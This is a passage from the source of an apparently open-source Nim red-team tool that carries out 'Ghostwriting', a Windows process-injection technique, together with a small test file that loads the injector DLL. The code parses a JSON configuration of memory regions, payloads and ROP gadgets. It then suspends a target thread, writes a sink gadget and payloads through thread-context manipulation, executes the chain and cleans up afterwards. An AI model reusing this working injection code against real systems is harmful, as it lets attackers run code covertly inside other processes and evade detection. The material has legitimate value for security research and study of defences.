defined(zima): 112 | green("[+] Initialized Stack Structure") 113 | 114 | # Configure Sequences & Start Context 115 | try: 116 | var 117 | Nodes = parseJson(Config) 118 | 119 | for NodeKey, Node in Nodes.pairs(): 120 | 121 | case NodeKey: 122 | of "Memorys": 123 | when not defined(zima): 124 | yellow(fmt"[i] Loading in {NodeKey}") 125 | 126 | for JsonMemory in Node.items(): 127 | Memorys.LoadMemory(JsonMemory) 128 | 129 | of "Payloads": 130 | when not defined(zima): 131 | yellow(fmt"[i] Loading in {NodeKey}") 132 | for JsonPayload in Node.items(): 133 | Payloads.LoadPayload(Memorys, JsonPayload) 134 | Payloads.InitializePayloads 135 | 136 | of "Gadgets": 137 | when not defined(zima): 138 | yellow(fmt"[i] Loading in {NodeKey}") 139 | 140 | # Iterator may modify state, need a closure 141 | let 142 | gadgetNodes = gadgetNodes(Node) 143 | for JsonGadget in gadgetNodes(): 144 | LoadGadget(ProcessHandle, Gadgets, JsonGadget, HGArray) 145 | Gadgets.InitializeGadgets 146 | 147 | of "StartContext": 148 | when not defined(zima): 149 | yellow(fmt"[i] Loading in {NodeKey}") 150 | LoadStartContext(&StartCtx, TargetRip, Gadgets, Memorys, Node) 151 | 152 | of "CodeChain": 153 | CodeNode = copy(Node) 154 | 155 | else: 156 | red(fmt"[!] Invalid Key: {NodeKey}") 157 | discard 158 | 159 | except JsonParsingError: 160 | when not defined(zima): 161 | red("[-] Malformed JSON. Failed to parse.") 162 | echo fmt" [Error] {getCurrentExceptionMsg()}" 163 | result = false 164 | return 165 | 166 | except KeyError: 167 | when not defined(zima): 168 | red("[-] Missing Key in JSON.") 169 | echo fmt" [Error] {getCurrentExceptionMsg()}" 170 | result = false 171 | return 172 | 173 | except ValueError: 174 | when not defined(zima): 175 | red("[-] Failed object conversion.") 176 | echo fmt" [Error] {getCurrentExceptionMsg()}" 177 | result = false 178 | return 179 | 180 | except OSError: 181 | when not defined(zima): 182 | red("[-] Failed windows syscall") 183 | echo fmt" [Error] {getCurrentExceptionMsg()}" 184 | result = false 185 | return 186 | 187 | except: 188 | when not defined(zima): 189 | red("[-] Unknown error") 190 | echo fmt" [Error] {getCurrentExceptionMsg()}" 191 | result = false 192 | return 193 | when not defined(zima): 194 | green("[+] Successfully loaded sequences!") 195 | 196 | var 197 | MainWriteGadget : Gadget = Gadgets.GetMainStore 198 | let 199 | SinkAddress : DWORD64 = Gadgets.GetSink.Address.DWORD64 200 | 201 | MainWriteGadget.InitializeWriteGadget(ExeContext) 202 | 203 | # Initialize CodeChain 204 | try: 205 | let 206 | argNodes = argNodes(CodeNode) 207 | for Arg in argNodes(): 208 | ParseGadgetArg(ProcessHandle, Memorys, Gadgets, Payloads, HGArray, Arg) 209 | 210 | except KeyError: 211 | when not defined(zima): 212 | echo fmt"[-] Key Error while parsing json : {getCurrentExceptionMsg()}" 213 | result = false 214 | return 215 | 216 | except ValueError: 217 | when not defined(zima): 218 | echo fmt"[-] Value error while parsing json : {getCurrentExceptionMsg()}" 219 | result = false 220 | return 221 | 222 | except JsonKindError: 223 | when not defined(zima): 224 | echo fmt"[-] Json not properly formatted : {getCurrentExceptionMsg()}" 225 | result = false 226 | return 227 | 228 | except: 229 | when not defined(zima): 230 | echo fmt"[-] Unknown error while parsing json : {getCurrentExceptionMsg()}" 231 | result = false 232 | return 233 | 234 | when not defined(zima): 235 | green(fmt"[+] Initialized Code Chain!") 236 | yellow(fmt"[i] Beggining Injection") 237 | 238 | # Ghostwriting! 239 | if MainWriteGadget.Volatile: 240 | 241 | # Suspend the process 242 | if not SuspendProcess(ProcessHandle, HGArray): 243 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 244 | result = false 245 | return 246 | 247 | # Forcefully sinking the thread, since our gadgets use volatile registers, they get clobbered after return from NtGetUserMessage 248 | if not SinkThread(ThreadHandle, &ExeContext, SinkAddress, WindowObj, HGArray): 249 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 250 | result = false 251 | return 252 | else: 253 | 254 | if not SuspendThread(ThreadHandle, HGArray): 255 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 256 | result = false 257 | return 258 | 259 | # Must write sink gadget to stackbase. Sink Gadget acts as a net for us to fall into for consequtive writes 260 | if not WriteSink(ThreadHandle, Gadgets, Memorys, &ExeContext, HGArray): 261 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 262 | result = false 263 | return 264 | 265 | if not WriteMemory(ThreadHandle, Gadgets, Memorys, Payloads, &ExeContext, HGArray): 266 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 267 | result = false 268 | return 269 | 270 | if TargetRip == 0: 271 | when not defined(zima): 272 | red(fmt"Missing TargetRip!") 273 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 274 | result = false 275 | return 276 | 277 | if not ExecuteCodeChain(ThreadHandle, TargetRip, &StartCtx, HGArray): 278 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 279 | result = false 280 | return 281 | 282 | # Re-Write the Sink for Cleaning 283 | if not WriteSink(ThreadHandle, Gadgets, Memorys, &ExeContext, HGArray): 284 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 285 | result = false 286 | return 287 | 288 | if not CleanMemory(ThreadHandle, Gadgets, Memorys, Payloads, &ExeContext, HGArray): 289 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 290 | result = false 291 | return 292 | 293 | when not defined(zima): 294 | green(fmt"[+] All done! Resuming Process and Exiting...") 295 | 296 | if not ResumeExecution(ThreadHandle, &SaveContext, HGArray): 297 | result = false 298 | 299 | if not ResumeProcess(ProcessHandle, HGArray): 300 | result = false 301 | 302 | Exit(ProcessHandle, ThreadHandle, &SaveContext, HGArray) 303 | -------------------------------------------------------------------------------- /testdllexec.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import winim/inc/winbase 7 | import winim/[winstr, utils] 8 | import strutils, strformat 9 | import ../../memlib/memlib 10 | import Modules/[defaults] 11 | import dynlib 12 | 13 | proc main() = 14 | 15 | when defined(cpu64): 16 | when defined(zima): 17 | const Injector = "gw.dll" 18 | else: 19 | const Injector = "gwdebug.dll" 20 | else: 21 | return 22 | 23 | proc Ghostwrite(TargetProc, TargetThread : int16 = 0, Config : string = "", Io: File = stdout) : bool {.nimcall, memlib: Injector, importc: "Ghostwrite".} 24 | 25 | var 26 | JsonData : string = ExampleROP() 27 | 28 | if Ghostwrite(Config=JsonData): 29 | echo fmt"[+] Successfully injected" 30 | else: 31 | echo fmt"[-] Failed to inject" 32 | 33 | main() --------------------------------------------------------------------------------